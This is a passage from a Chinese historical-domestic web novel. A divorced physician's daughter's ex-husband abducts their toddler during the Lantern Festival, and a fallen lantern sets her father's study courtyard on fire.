《月上枝头》 1. 上元节 《月上枝头》全本免费阅读 上元佳节,唐府。 虽然唐老爷如今在京为官,但是过节还是按照江南老家的习俗:要清扫房舍,吃汤圆,挂彩灯,过完这一天,这年,就算是完完整整过去了。 唐老爷本名唐明德,字怀信,任太医院院判,平时除了在宫中任职以外,还在太医局任教。 因救驾有功,加上医术实在让人信服,除了正二品的官职以外,另被赐封乐安郡开国郡公,所以唐府也叫开国郡公府。 一大早,大小姐唐夕瑶带着仆妇们打扫老爷的书房。 唐老爷是个和煦的性子,平日里即便仆妇小厮打烂了碗碟,或者办错了差使,很少有生气动怒或者打骂发卖的,一般教训两句,或者罚点月例,也就过去了。可书房是老爷的宝贝疙瘩,里面除了一些字画外,还存放着老爷多年从各处搜罗来的经方手稿和古籍医书。这些手稿,大多有了超过百年的年头,所用的麻纸、桑皮纸甚至竹卷已经酥松发脆,稍有不注意,手稿便损坏了。 去年有个小厮没注意,上茶的时候把茶盏打翻在老爷手边正在看的经方上。他一看闯祸,急急用汗巾去擦。那竹纸本就脆,有了年头以后脆得就和糖纸一样,这一遇水再一擦,几乎搅成了浆糊。等老爷反应过来扑过去抢救为时已晚。看着手里黏在一起,墨水洇开,字迹糊作一团的东西,唐老爷好几天都没吃下饭。后来,夫人心疼郎子,就主动接下了打扫书房的工作。 如今夫人身体不好,这差使便交给了大小姐唐夕瑶。 因为要打扫,夕瑶今早的衣着也简单,一身鹅蛋青的高腰襦裙,袖子用襻膊绑起来,头发绾起,只用一支青玉发簪点缀,发簪下面坠着同是青玉的三朵玉兰花,整个人看起来爽利而不失灵动。 “今日上元佳节,官家在禁中赐宴,爹爹下了宴席估计得过戌时了。宫中宴席,菜式精美归精美,总没有在家里吃得自在。樊妈妈,您去后灶上吩咐一下,让他们备些好克化的东西,等爹爹回来了,给垫垫。” “后厨熬了高汤,回头让灶上的婆子给老爷煮个鸡丝面可好?”樊嬷嬷是夕瑶的乳母,从小照料她的生活起居,最是明白她的心意。 “好,再配点菜蔬吧。像是凉拌莴丝,或者烫个菜心都好。另外,面条让王婆子擀好,提前放在蒸屉中蒸熟,再用凉油拌开,等爹爹回来了,放到高汤里一烫就能吃。对了,晚上别给爹爹上茶饮了,回头又睡不好。上个陈皮熟水吧。” “好好好,我都记下了,这就去灶上吩咐,小姐尽可放心”樊嬷嬷边笑说着,“今日上元节,樊楼边上有灯会。听说今年出了好几款新式的灯,连官家也赐了宫灯要与民同乐,小姐好久没出门了,不如带上小小姐,一起去看看吧。” 夕瑶听了一顿,失神了一下,随后撑起嘴角说,“夜里人多,我怕惊着孩子,就不去了吧。” “我们坐马车去,老奴陪着您,要是怕人多,我们就不下车,只掀起帘子远远看看可好?保管惊不着小小姐。” 樊嬷嬷不死心,还想再劝劝。 两年了,距离小姐和离已经快两年了。这两年里,小姐能不出门就不出门,一开始是簪花宴、金雀宴不去,后来亲友女眷也不怎么愿意来往。人家下帖子请她,十次里面都未必去一次,不是称病就是家中有事,日子久了,别家女眷也就不太来请了。 近半年,小姐更是半步都没走出过家门。 才二十出头的年岁,过得如同老妪一般,这可怎么是好? 夕瑶知道樊嬷嬷的心思,只是她实在是不耐烦见人,还是摇了摇头。 罢了,樊妈妈叹了口气,左右得小姐自己想通才好。樊妈妈虽有些失望,倒是不气馁,心里盘算着下次找什么机会再劝劝小姐才好。边想着,边往厨房去了。 安排好了老爷的饮食,夕瑶这头开始安排书房的打扫。 “今日禁中赐宴,老爷不会很早回来。所以我们打扫的时间尽够呢,大家仔细点,轻手轻脚的。这书房里头的都是老爷的心头好,万一弄坏了可没处找补。紫草,你带两个女使专门负责多宝阁。这上面都是有年头的医书,纸张易碎,只能用掸子轻轻拂去浮灰。银翘,左边架子上的是这两年的新书和脉案,纸张比较厚实,前几日下雨,今天都抱到院子里晒晒,去去潮。今日过节,后厨给大家也都加了菜,等忙活完了这里,…”正说着,厅外传来了孩童的声音。 “阿娘,灯灯……灯灯……”,小唐棠跌跌撞撞跑了进来,后面跟着乳母“小小姐,慢点儿跑,小心摔了…” 小唐棠今年两岁,虽说还是个奶娃娃,却已经从眉眼里,能看到母亲唐夕瑶秀气的模样。因还是年里,乳母给她头上扎了鬏鬏,用红珊瑚和偏粉色的珍珠缠了一圈,加上身上穿着一件粉底镶红边的缎面夹袄,一眼看过去,倒像是观音菩萨座下的小童女一般。 “阿娘,灯……要扎灯灯……”见了母亲,小唐棠更着急了,一把抓住夕瑶的裙摆,“阿娘…阿娘…”,头顶上的鬏鬏也随着她拉扯母亲裙摆而轻轻晃动。 见到女儿,夕瑶连眼角都是笑意,俯下身:“阿娘在呢,你慢点儿说,要做什么,说清楚些。” 平日里孩子身后有好几个仆妇照顾着,一伸手一张嘴甚至有时候一个眼神,后面的人就知道她要啥,所以养成了孩子说话不连贯,一个词一个词往外蹦的习惯。如今孩子慢慢大了,这个习惯可要不得,夕瑶正在慢慢纠正。 “来,告诉阿娘,你要做什么?说清楚了,娘就考虑答应你。” “要看扎灯灯,兔儿灯。”话虽不多,好歹意思是很清楚了。 “好,让嬷嬷带着你看石耳扎兔儿灯去。” 一岁半的小唐棠由婆子陪着,准备去后院看小厮们扎灯笼。 “要画花儿,画花儿”,走前,唐棠回头看着母亲,等着答复。虽然年纪不大,孩子已经有了自己的主意。 “好,姐儿别急,一会儿就让石耳给你画,一定给姐儿画个大大的花儿”,婆子在边上柔柔地哄着。 唐棠不肯走,直直地看着母亲,等夕瑶笑着点头了,才跟着乳母走了。 一切都是这么喜庆而美好。而刚刚还是艳阳的天空,突然被一片云遮了起来。 “梁国公府,千祥老爷求见……” 有女使在外面通报,夕瑶的眉头不自觉地皱了起来。 梁国公,是当今皇帝的老丈人,当今皇后的父亲。而千祥老爷呢,并不姓梁,而是梁国公府的赘婿,刘千祥。因为是入赘,家主是国公爷,所以大家便含糊称他千祥老爷。 嗯,他还有一个身份,唐棠的亲身父亲。 当年,刘千祥只是嘉兴平湖的一个穷孩子,年轻轻就没了父亲。母亲靠给人洗衣织补养活他,供他读书。 也是他自己争气,十二岁就考过了院试。十八岁又顺利过了乡试,成为举子。这个年纪就是举子,这在十里八乡都是不多见的。按理说,当了举子已经不错,在当地知县谋个书记,或者谋一份教席,都能有收入,奉养母亲娶妻生子,自己开个小门户过日子。可是刘家难得出一个读书人,就此不再读了,族亲们总觉得可惜。但要是再往上读,那就得拿出银子供着,日常的文房四宝,先生的束脩,赶考路上的盘缠,零零种种,加起来不是小数目。更不用说,日后想混官场还得各种打点,靠千祥母亲那点洗衣的辛苦钱,是远远不够的。 人呐,平日里嘴上说得千般好万般好,一说起银子,各家都有自己的小九九了,谁也不愿意先出,生怕自己出多别人家出少了就吃亏了;可又觉得万一千祥以后出息了,这会儿要是没出钱,那就是错过了贵人,所以也不愿把话说死,就这么拖着。 每次族里商量,一个个嘴上都说着好听,什么把千祥当作亲儿子,什么砸锅卖铁也绝不含糊,可真的到了掏钱的时候,一个个都含糊着。各家说着各家的难处。四叔说他儿子就要娶媳妇了,聘礼得花一大笔银子;七叔的老母常年卧床,平日里看病吃药不能断了银子;二叔公倒是大方,说是把家里所有的钱都拿出来了,可打开荷包看,不过八十多文,倒是那只蜀锦的荷包,和二叔公一身缎子常服很是相配。 别人都拖得起,唯独刘千祥拖不起。三年一届的会试,不是这么容易考的。加上那时候时局并不安稳,西北的草原上的每年冬天都来犯,抢粮食抢布匹甚至抢女人孩子,朝廷连年出战,时赢时败,赢的时候能安稳上挺长一阵子,输了还得赔上一大笔。听说官家要御驾亲征,但也没个定数。错过了这一次,下一次考试又不知道是啥情况。前面族亲们议论来议论去,三四个月过去了也没个说法,而回头去京城赶考,还得算上耗在路上的日子,这一来一回,时间就更紧张了。 就在情况僵着的时候,族里的二爷出了个主意,建议他去投靠杭州府的 2. 千祥老爷 《月上枝头》全本免费阅读 基于之前的过往,“千祥老爷”这四个字在唐府就如同过街老鼠一般。 这时樊妈妈嬷嬷正好从后灶回来,一听到就脸色一变。 “现在门房小厮愈发没规矩了,什么脏的臭的都来回报,小姐,我这就去赶他走!” 在樊嬷嬷心目中,自家小姐是这世上最好的女子,花容月貌,知书达理,偏偏婚事上栽了跟头。这刘千祥,就是个忘恩负义的白眼狼,巴不得揍他一顿,打断他的腿才好。 “妈妈且慢,让我想想”,夕瑶有点犹豫。自打和离以后,这人就再也没有出现过,连女儿唐棠出生,对方也没打发人来问过一句,这会儿亲自上门,会是什么事呢? “小姐莫想了!这个人为了名利,连祖宗和孩子都能抛下,给人家倒插门去,可见不是个有心肝的。这么些日子,也从来没来问问孩子好不好,这会儿巴巴上门来,肯定没好事。”樊妈妈一听,急急劝阻。 也是,被这么一劝,夕瑶也没了见他的心思,挥挥手:“让门房去回了吧,就说今日老爷在宫中赴宴,家里只有女眷,不便见客。” 没一会儿,门房上的让人来传话,说那刘千祥竟在门口闹了起来。 唐府现在是开国郡公府,就在上京的杨楼街上,紧挨着南北向的御街。这地段,虽不算是皇城根下,但也是相当核心的位置了,周围住的都是高门大户。刘千祥这一闹,又不知生出多少闲话。这会儿,怕不少人家的小厮,已经透着门缝在看笑话了。 夕瑶气得要死,但又不能放任他在门口闹。原本若是无关紧要的人,叫来家丁大棒子赶走就是了,可刘千祥好歹是朝廷命官,又是孩子的生父,总不好动粗。无奈,只能让人去请他进来。这厮估计就是算准了自己还要脸,在故意在门口闹这一出。但是想明白归想明白了,也并没有什么好办法,只能如了他的意,想到这里,更气了。 刘千祥被请进书房,相比会客的前厅,这里更僻静些。上了茶饮,樊妈妈把之前洒扫的婆子女使都支了出去,免得回头听到一句半句的,又传出什么闲话,继而对着夕瑶欠欠身,自己也退下了。走时还不忘用眼神狠狠刮了刘千祥一番。如果真的眼神能杀人的话,刘千祥这会儿已经被樊妈妈砍死了。 一脚迈进书房,看着眼前的人,刘千祥心中一暖。记得当年自己还是落魄书生,来唐家投奔,府里小厮带着他穿过廊子去见唐老爷。隔着唐府的花园,遥遥望去,一抹倩影映入眼帘。 刘千祥忍不住唤了一声:“阿瑶”。 眼前的夕瑶除了盘起的头发外,依旧是少女的模样,纤细的腰身,清秀的面容,甚至颜色比生产前更好了。和之前一样,没有用什么脂粉,却更凸显出不加雕琢的俊俏,仿佛一抹山水画。 而这一头,唐夕瑶也打量着刘千祥。眼前的人,似乎还是熟悉的轮廓,又似乎是陌生人。两年没见,刘千祥明显发福了,也憔悴了。曾经清瘦面容,如今平添了赘肉和油腻。额头上有了明显川字的痕迹,眉眼都略略往下耷拉,眼下泛着隐隐的青色,想是酒色上头也没少放纵吧。 算算年纪,他今年尚不到三十,按说正是最好的年岁。然而一眼望去,竟像个小老头。夕瑶想到自己的爹爹尚且坚毅挺拔,而眼前之人年纪轻轻,竟有了一股腐朽之气,心中还是感慨。 曾经爹娘觉得这个男儿有志气,看他常年穿着一身半旧布衣长衫,手不释卷日日苦读。给他备新的衣裳不穿,总说旧的还能穿别浪费。给他准备的书童小厮也被退回,洗衣洒扫均不假手于人。学堂里别的同窗笑话他,他也不理,只日日耕读,因此在学堂里屡屡被先生称赞,如今想来真是笑话。 他不是不要富贵生活,真是看不上眼前而已,当有更大的富贵时,刘千祥比任何人都渴望,渴望到没有节操。 今日的刘千祥,一身绯色圆领小科绫罗,腰间用名贵和田玉镶嵌的玉带钩束着,便是脚上踩的靴子,也是暗青色底配着银丝刺绣的。这一身行头,拿到普通人家,怕是够好几年的吃喝嚼用了,然而穿在他身上,丝毫不觉得贵气,仿佛,仿佛一块放久了的猪肝。 “千祥老爷,你我既已和离,还是叫我唐娘子的好。” 刚刚还沉浸在现实和回忆的交错中,这一声让刘千祥醒了。他略略站直,努力遮掩自己的尴尬,脑子快速转着。 加下去的对话估计不会太让人愉悦,甚至会十分尴尬,搞不好还会挨骂,但即便如此,他还是决定努努力往下说。 “好,唐娘子,两年未见,你一切可好?”刘千祥一边寒暄,一边摸了摸鼻子,仿佛有什么虫子在叮他。 “托您的福,都好。千祥老爷,您特意过来,不是为了关心我好不好的吧。有什么就赶紧说吧。男女有别,你我这样独处,时间久了也不好。”夕瑶的脸上透着防备和不耐烦。 刘千祥额头开始也微微发热,他素来知道夕瑶是个有主意的人,原想着人家或许还惦念着好歹夫妻一场,能给自己留些面子,可今日上门瞧着,对方是真的厌弃自己。可是,想了想自己此番上门的目的,刘千祥还是重新振作起来。 “我来是想商量一下,唐棠到今年秋天也两岁了,一直住在外家总归是不妥,所以我今天来想要接回唐棠。” 听到这里,夕瑶心里的一团火轰地就上来了,这厮什么意思?但好歹还是压着火气,努力稳着语气道:“千祥老爷怕是弄错了,唐棠姓唐,是我们唐家的孩子,何来住在外家这一说?” “这…自古男女和离,孩子都是男方的。现在孩子跟了母亲回娘家,总是不成体统,没得让人说嘴。加上家中祖母也想念她…” 眼见着刘千祥蹬鼻子上脸,夕瑶也不准备惯着他。本来么,和离了就是各自安好,互不打扰。刘千祥上门她也以礼相待了,可这回儿居然打起她女儿的主意,真当自己是纸糊的啊。 夕瑶手上的茶盏重重放到桌上,半盏茶饮洒了出来:“体统?千祥老爷,你确定要和我谈谈体统?当年你为了功名利禄,明明已有家室,却和梁府二娘子勾勾搭搭,可曾有过体统?为了成为国公府的乘龙快婿,你不顾我怀着身孕,坚持要与我和离可曾想过体统?你为了尽快和梁国公府结亲,对外放出消息,说我父亲逼你娶我的时候可曾想过体统?你作为刘家四代单传,却入赘高门,自绝香火,可曾想过体统?如今你要和我谈体统?” 憋着多年的怨气,今天忍不住冲口而出,也算是给自己一个痛快:“至于你说的家中祖母想念,真真是笑话。你母亲自打知道你和梁二小姐有了瓜葛,不仅不规劝你,反而天天变着法儿地替你隐瞒行踪。一会儿说你替她去庙里添香油了,一会儿说你去府衙办差事了,让你得闲去和梁府二小姐幽会。那时满京城都知道都知道你的风流韵事,偏我一个人被蒙在鼓里。” 越说越气,夕瑶紧紧抓着袖中的帕子,才能控制自己不站起来对刘千祥破口大骂。 “为了逼我与你早日和离,别挡着你升官发财,她根本不在乎我腹中孩儿,让我挺着大肚子在她面前站规矩,白天下厨做饭,晚上捶腿倒水,见天地折磨我。唐棠出生的时候她未曾来探望过,逢年过节也从未来问过一句,这会儿怎么突然想念了?” “夕瑶,你…你怎么…?”刘千祥从未见过如此犀利的夕瑶。当年他提出和离,唐夕瑶很干脆答应了,转身带着仆妇就回了娘家,让家中长辈来签的和离字据,在他心目中,夕瑶即便是有怒气,也是温柔可亲的。看来当年的和离的确让她改变了很多。但是就算夕瑶再怨恨自己,再恶语相向,刘千祥想到家中的情况,也没法拔腿就走。 成亲两年多,家中子嗣一直艰难。最开始是成亲三个月余,妻主身子不爽利,恶心呕吐,原以为是喜信,请了大夫来看却说是妇人症。接连换了几个大夫,都说不易治,而且会影响到生育。皇后娘娘指了宫里的太医多番来诊治,结果也是一样。 后来为了承嗣,妻主做主给自己纳妾,找的都是梁家宗族里远房的姐妹,若生了孩子,就养在妻主名下。前前后后,庶出嫡出的,加起来小十人,竟没有一个有喜信的。最近每个月妻主都让大夫给府里的妾室诊脉,大夫一摇头,梁国公和妻主那个失望的表情,仿佛自己是个不会下蛋的母鸡。 日子久了,外面的风言风语也多了。都说刘千祥抛弃怀孕妻子入赘高门损了阴德,所以不能人道了。 平日里上朝,同僚们当面和他笑嘻嘻的,背后里都在嘲笑他。这些也都算了,最近皇后娘娘召妻主进宫,当面直言梁国公府不能断了香火。他已经有了这么多房里人,如若还不行,那就索性和离,换一个赘婿。亦或者从宗族里过继一个孩子来。这可把刘千祥吓到了。自己能够在朝堂上顺风顺水,都仰赖了梁国公府的面子,要是哪天和离,就什么都没了。即便不和离,养了过继的孩子,也意味着自己在这个家更没地位了。 正烦恼时,千祥的母亲给他出了个法子,说老家有一个说法,得养个女孩子在身边,这样送子娘娘才会惦记着这家还没有男娃,给送来一个。据说这个法子十分灵验,好多人家的儿子都是这么招来的。 本来,这种乡下妇人的把戏刘千祥是不屑的,但是这会儿别无他法了,就想着试一试,万一呢? 那既然要养,与其养别人家的,不 3. 刘千祥抢女 《月上枝头》全本免费阅读 夕瑶低着头,沉默了半晌,心里不是不犹豫的。 刘千祥是个混蛋,但是不管他多混蛋,终究是唐棠的父亲。让他在自家屋子里看看孩子,似乎也没什么不可以。于是吩咐樊妈妈去把夕瑶带过来。 樊妈妈原本也没有走远,这会儿听了吩咐,知道自家娘子心软,叹了一口气,没说什么,快步去了。 小唐棠在后院,樊妈妈来回得要点时间。夕瑶坐在侧椅上不说话,刘千祥起初还想唠唠家常,但张嘴发现,似乎只有苦水。加上夕瑶也没有搭话的意思,气氛便沉默了下来。 暖阳下,唐老爷的医术案卷晒在院子里的八仙桌上,女使婆子们撤下得匆忙,书卷还未完全整理清洁好。一阵微风吹来,带起些许灰尘,在阳光下转着圈圈,慢慢沉到了地上。 过了一会儿,樊妈妈带着孩子回来了。小唐棠手里拿着一盏兔儿灯,很是高兴。 传统的兔儿灯用竹条做骨架,外面糊上能透光的白色薄纸,肚子里装个蜡烛就行了。院里的小厮心思巧,把白纸改成了薄薄的湖缎,点上蜡烛,兔儿灯有一种珍珠般的光泽,很是好看。小厮还在灯的下面用竹筒做了四个小轮子。这样就能牵着走。 “阿娘,看,兔儿灯,能走,阿娘,看”,一进院子,小家伙就开始嚷嚷,想和母亲显摆一下。 听到声响,夕瑶和刘千祥都站了起来,往外走。 父女俩就在院子里对站着,刘千祥伸出手想摸摸唐棠头上的鬏鬏,唐棠一看是陌生人,本能地往樊妈妈身后躲。 刘千祥讪讪地放下手,道:“唐棠,我是你爹爹。” 唐棠并没有因为这句话有什么改变,依旧警惕地盯着陌生人,肉乎乎的小手抓着樊妈妈的褂子。 刘千祥无奈,求助地回头看着夕瑶,满眼的祈求。 “唐棠莫怕,那是你爹爹”,夕瑶走上前蹲下身,把女儿从樊嬷嬷身后拉出来,拿出丝帕轻轻拭去女儿额头上的细汗,又把鬏鬏上有些松散的珍珠卡子摆正。 “阿娘看到兔儿灯了,”夕瑶边说,边给孩子整整衣裳。 “这灯做得很好看,着实花了心思。今日元宵节,一会儿,让樊嬷嬷吩咐后厨,去给帮你做灯的小厮们加个菜,就当是谢礼。” 唐棠听懂了,回头望着樊嬷嬷,“樊嬷嬷,走,加菜。” “小小姐别急,一会儿老奴自会去安排的。”樊嬷嬷是陪着夕瑶生产,看着唐棠一点一点长大的。之前孩子不爱说话,樊嬷嬷也跟着烦恼,如今可好了,小小姐愿意开口了,樊嬷嬷也跟着高兴。 “阿瑶,我可以抱抱她吗?”刘千祥看着视他为生人的女儿,哀求道。 夕瑶看着女儿,鼓励般地点点头,“唐棠莫怕,”然后默默移开了一个身位。 刘千祥走上前去,学着夕瑶的样子蹲下,伸出双手。小唐棠这次没有躲,任他抱了。 他慢慢搂紧了孩子,闭上眼睛,叹出一口气,然后猛地站起身,往角门冲去。 这一切发生得太快了,谁都没料到这情况。 夕瑶本能地扑过去,被一把甩开,磕在了院子石阶的角上。樊嬷嬷愣了片刻,等反应过来了赶紧去扶。 “嬷嬷莫管我,赶紧去追!” 夕瑶的额角顷刻涌出鲜血。膝盖上也传来阵阵的疼痛,一时之间竟站不起来。可她顾不上这些,让樊嬷嬷赶紧带人追,务必要把孩子追回来。 樊嬷嬷无奈,一跺脚,往外院跑去。 谁也没留意到,那只兔儿灯也被甩了出去,正巧落在院中晒着的医书上。 话说刘千祥来之前其实就做好了两手准备。要是能够和和气气把女儿带走最好,花言巧语哄一哄,认个错,服个软,再不行跪下磕个头都使得,也是他一贯擅长的;如若真的不行,就强行把孩子抱走。 他算准了今日圣上赐宴,唐老爷和贴身小厮都在外,又提前买通了唐府二门上的婆子。这会儿,他不顾孩子的挣扎,紧紧抱着就往外冲。 唐老爷的书房角门外,是一个狭长的甬道,地上铺着小白石子,两旁栽了茂密的细竹。甬道通向一个单独的小院子,是平时唐老爷用来晒药的。今日因刘千祥的来访,书房旁原本洒扫的女使婆子都被支走了,小院安安静静的。 院子的一角,就是二门。门上的婆子事先得了好处,一看到他过来赶紧给他开了门,递给他一件事先备好的暗灰色厚绒大氅。因知道回头肯定逃不过责罚,婆子也跟着溜了。 出了二门,就是外院了。 他捂着孩子的嘴,用大氅一罩,不走近根本看不出怀里抱着个孩子。小厮们各自领着差使,没听到吩咐,并没有人阻挠他。 刘千祥飞快跑着穿过外院,门外一架不起眼的单架平顶马车候着。 如果仔细看,会发现这马车有些怪异。马车的车厢用的是最普通的藏蓝色平纹布,四角只坠着朴素的铜角灯,一点别的装饰都无。可车子板材却用了老榆木异常结实,且车板和车轴还都是加粗的。拉车的马匹毛色光亮,四肢健硕有力。车上的窗子用木板钉死了,进出的门帘也十分厚重。赶车的是个精壮男子,只是穿着一身半旧的黑棉袍子,头上戴着深灰色的毡帽,帽檐压得低低的,看不清脸孔。刘千祥一撩帘子,刚坐定,赶车的就一鞭子让马儿跑了起来。按理说上京内城,街上是不许马车疾驰的,这会儿也顾不上了。 而樊嬷嬷这头,虽然紧赶慢赶往外追,可是算上去外院叫上小厮,吩咐套车,零零种种,终究是慢了。待追到梁国公府,刘千祥的马车一早进了门。 樊嬷嬷让小厮去叫门,叫了足有一炷香的时间,梁国公府那扇钉了七七四十九个铜钉的朱红色大门纹丝不动。隔着门也听不到门内有小厮走动或者应门的声响,只留下门前两只雕工精美的石狮子静静蹲着。小厮压着嗓子来回话:“樊嬷嬷,您看这….”正门是敲不开了,樊嬷嬷转去角门试试。 绕了半圈,找到了梁国公府东北角的小门。 这次樊嬷嬷自己出马,从马车上抽出一根备用的轴木,对着门就砸了下去。“哐…哐….哐”,木门发出闷闷的声响,然而依旧没有人来应门。 眼见着敲门无用,樊嬷嬷心生一计。她绕回到梁国公府的大门口,一屁股坐在地上,开始一把鼻涕一把眼泪地哭诉起来“大家伙儿来评评理啊,这梁国公府的赘婿刘千祥就是个杀千刀的王八蛋啊。他当年就是个破落户,孤儿寡母地来投奔唐府…” 说起来,梁国公府的位置可比开国郡公府(唐府)更好。在皇后还是宝亲王妃的时候,梁府就在内城靠近中心的位置,而当今圣上登基以后,又赏赐了位置更好的府邸连着后面一整块的池塘。现在,梁国公府几乎就在内城的中心。这位置,入宫早朝或者探望皇后很方便,下了值去潘楼或者方家铺子吃吃饭听听曲也很便捷。 当然,这会儿,这个位置的缺点也就很明显了。樊嬷嬷这么一哭骂,附近走过路过的可就都听见了。加上今天是上元佳节,各府小厮婆子出府采买的,往来替主人家送节礼人情往来的,人来人往,这会儿都刻意放慢了脚步竖着耳朵听呢。 门上的小厮一看情况不对,赶紧往里回话。 话说这会儿梁国公也在宫里,所以二门的婆子听了小厮回禀,不敢耽搁,急匆匆往内院找二小姐,也就是刘千祥现在的妻子梁飞雪,讨个示下。 穿过长廊和小池塘,到了二小姐的院子,屋外的女使听了吩咐,打起锦缎夹棉的帘子,让婆子进去。 迈进上房,先看见的是一个硕大的鎏金喜上枝头三耳鼎炉,幽幽燃着上等的银丝细炭,整个屋子里暖洋洋的。要说这鼎炉家家户户都有,一般都是双耳为主,三耳乃是内制的款式,非有品级不可乱用。而鎏金更是难得,大多是上面赏赐下来的。一般人家即便是有,那也是珍藏在库房里要传给子孙的,可梁府这个,就这么放在地上,轻轻松松用着,来往的下人们也见怪不怪。 梁飞雪今日身着一件丁香紫灰色的百子缂丝银鼠皮褂子,下面配着肉桂粉百褶妆花裙,裙子的四边用银丝细细绣着祥云图样,头带一挂花丝喜蝠嵌珠华胜,镶嵌的珍珠是南边进贡来的,足有一节拇指大小,即便是在室内,也闪着让人不能忽视的光泽。 她半闭着眼睛,斜斜倚在软榻上,腰后头垫了一个鸳鸯戏水苏绣迎枕,榻上还设着一个梨花木束腰侧边嵌贝雕的小条几,几上放着青瓷莲花座镂空香炉,正燃着广寒香。 梁家两姐妹,虽是嫡亲的,长相却很不同。姐姐梁飞燕长得像梁国公夫人,瓜子脸柳叶眉尖下巴,是个典型的传统仕女模样。而妹妹梁飞雪长得更像梁国公。脸型略方正,眉目浓郁,有一种不怒自威的气势。 这会儿,梁飞雪旁边矮凳上坐着个中年妇人,是她的乳母秦嬷嬷,正有一搭没一搭地陪她说着话。 脚边还跪着两个女使,一个用梨花木的托盘拖着凤仙花汁、珍珠粉等材料,另一个用玳瑁柄的小刷子,挨个给梁飞雪的指甲上刷上调好的染汁,再用细纱布包起来,这是在染指甲呢。 听着有人进来了,秦嬷嬷起身站在一边。 二门的婆子上来先行了礼,然后说了门上的情况。她说的不快,边说边偷偷抬头,想看看梁飞雪的脸色。 “那唐府和我们一早没有往来,为何樊婆子要上门叫骂?”秦嬷嬷一听不对,忙开口问了。 “这…”回禀的婆子支支吾吾起来,不确定什么该讲什么不该讲, “这什么这,哪里来的规矩,主子面前也敢隐瞒?!” 听秦嬷嬷一呵斥,婆子赶忙跪下,“老奴不敢,老奴不敢!”随后将事情的来龙去脉一股脑儿都说了。 正所谓瞒上不瞒下,梁国公或者梁飞雪或许不知道刘千祥做了什么,下人们可是瞒不住的。特制的马车,赶车的车夫,裹在大氅里带回来的小娃娃,更别说唐府的樊嬷嬷这会儿还在门口叫骂,下人们可都看在眼里。一会儿工夫,府里上上下下就都知道了。 梁飞雪听完婆子说的,气不打一处来,一巴掌拍在了女使拖着的黄梨木托盘上。一时间,凤仙花汁、珍珠粉、包指甲的纱布,林林种种撒了一地溅了一身。 秦嬷嬷一看,赶忙使眼色让婆子和女使退下,一边轻轻抚着梁飞雪的后背安慰着:“小姐莫动气,姑爷也是着急要个孩子”,一边扶着她起身去里屋换衣服。 “嬷嬷,我也不想生气,可你看看他干的是什么事儿啊。我本来已经想定了主意,不能生便不能生吧,我们从堂哥那里过继一个,回头国公府的爵位也有人继承,百年之后香烟也能续上。他哄我说,唐家那位也还年轻,拖着个孩子不好嫁人,只消和人好好说,定是能顺顺当当把孩子接过来,我这才答应的。临出门前我还反复叮嘱他,定得与人和和气气商量,切不可硬来,坏了名声。” 梁飞雪脱了外衣,扶着嬷嬷的手,边说着,气又上来了。 “可你看现在他这行径,哪里是一时兴起,分明是一早就打算好了,人 4. 突来的祸事 《月上枝头》全本免费阅读 刚刚刘千祥抢夺孩子时,唐棠手里的兔儿灯被甩了出去,正巧落在了院中晾晒的医书上。 那灯一倒,里面燃着的蜡烛就势滚了出来,烧着了竹篾框架上糊着的湖缎。 这兔儿灯为了透光,本就用的是最薄的湖缎,一遇火,眨眼间便成片烧透了,火苗一下子蹿得老高。架子上的医书和脉案,已经晒了个把时辰,干得透透的。兔儿灯的火蛇一缠上,顷刻间整个架子便着了起来。 夕瑶前额磕了个大口子,血流如注。 她用手捂着伤口,可并不管用,鲜血还是不断从额角涌出来,一时间眼前只有一片红色。她腾出一只手,摸出丝帕擦了擦眼前的血迹,然后摸索着边上的石阶,想要站起来,不料踩到了自己的裙角,又被绊倒了。 这次虽没有磕到,可是一趴在地上,夕瑶感觉自己眼前一阵一阵黑,天地都开始旋转。 她努力大喊“来人呐,来人呐”。 可是天不遂人愿,一来在刘千祥进门的时候,书房周围的仆妇和女使就都被支走了,二来连着跌了两跤加上磕头出血让夕瑶全身无力,所谓的大喊,其实并没有多大声音,于是乎附近没有人听到她的求救。 尽管看得不清楚,但大火的光亮和灼热,让夕瑶很清楚发生了什么。她必须自救。 既然站不起来,那就趴着吧。 夕瑶用力掐自己手臂,努力保持清醒,并且一遍一遍和自己说,一定要冷静。眼前不住有血留下来,很快又是模糊的一片,她索性闭上眼睛,借由耳朵辨别方向。 因为是太医院的院判,遇到宫里小主有个疾病,值上的太医们各有意见定不下药方的,大内便会派人来求唐老爷复诊好确定最终的诊疗方法,深夜应召入宫也是常事。为了不扰到家里人休息,唐老爷的书房在最初设立之时就选在了最靠近御街,便于出入的位置上。日常站在书房的前院里,便是隔着旁边晒药的小院子,也能依稀听到外面的车马声。 今日是上元节,御街上人来人往车马正浓,夕瑶趴在地上,透着大火燃烧书籍脉案和架子毕毕剥剥的声音,确定了御街的方向。御街的方向便是角门的方向,过了角门,外院就有人了。 夕瑶手脚并用往外爬去。火势很旺,晒书的架子顷刻间已经烧透,原本黄杨木的八角架如今仿佛一个巨大的碳炉,风一吹,架子便倒了,燃着的书页和架子烧成的滚烫木头散了一地。因看不清眼前的路,夕瑶的手和膝盖多次碰到,那皮肉一遇到烧红的木头,能听到清楚“嘶”的一声,不用看便知血肉焦黑一片。 钻心的灼痛一次一次传来,平日里走几步就到的距离如今仿佛永远爬不完。 多少次,夕瑶痛得要晕过去,然而她知道,这会儿倒下,恐怕就再也没机会爬起来了。一想到被抢走的幼女唐棠,夕瑶便生了力气,咬着牙,坚持着往外爬。“要活下去,一定要活下去”,夕瑶在心里一遍一遍和自己说,“唐棠还不到两岁,不能没了母亲”。 终于,爬到门口了。 其实书房前院的火光虽然从外面看不到,浓烟已经引起了外院小厮们的注意。然而自古内外有别,外院小厮不听召唤不得擅入内院是铁打的规矩。所以即便好奇也只能忍着。 这会儿看角门旁爬出了血肉模糊的大小姐,小厮们都惊呼起来。 外院的郝管事闻声赶来,看到此情景,吓得差点一屁股坐在地上, “大小姐,大小姐,这是怎么了?”一边急急打发人去报了夫人,一边急着派人去找大夫。这头遣了围着的小厮们去灭火,同时从内院叫来几个婆子女使,先把大小姐送回自己的院子去。 唐夕瑶的母亲唐白氏,今年40出头,是个非常温婉的妇人。因从小和唐老爷青梅竹马长大,夫妻俩感情特别好。早年间唐夫人生夕瑶的时候伤了身子,不能再生育。自那以后她一直想张罗着给夫君纳个妾。无奈唐老爷重情义,不想多一个人插在他们夫妻之前,更觉得儿女是前世的缘分,不愿强求,所以这些年,一直是守着妻女过日子。虽说无子有点遗憾,但是能够一生一世一双人,却也是上京多少女眷梦寐以求的。 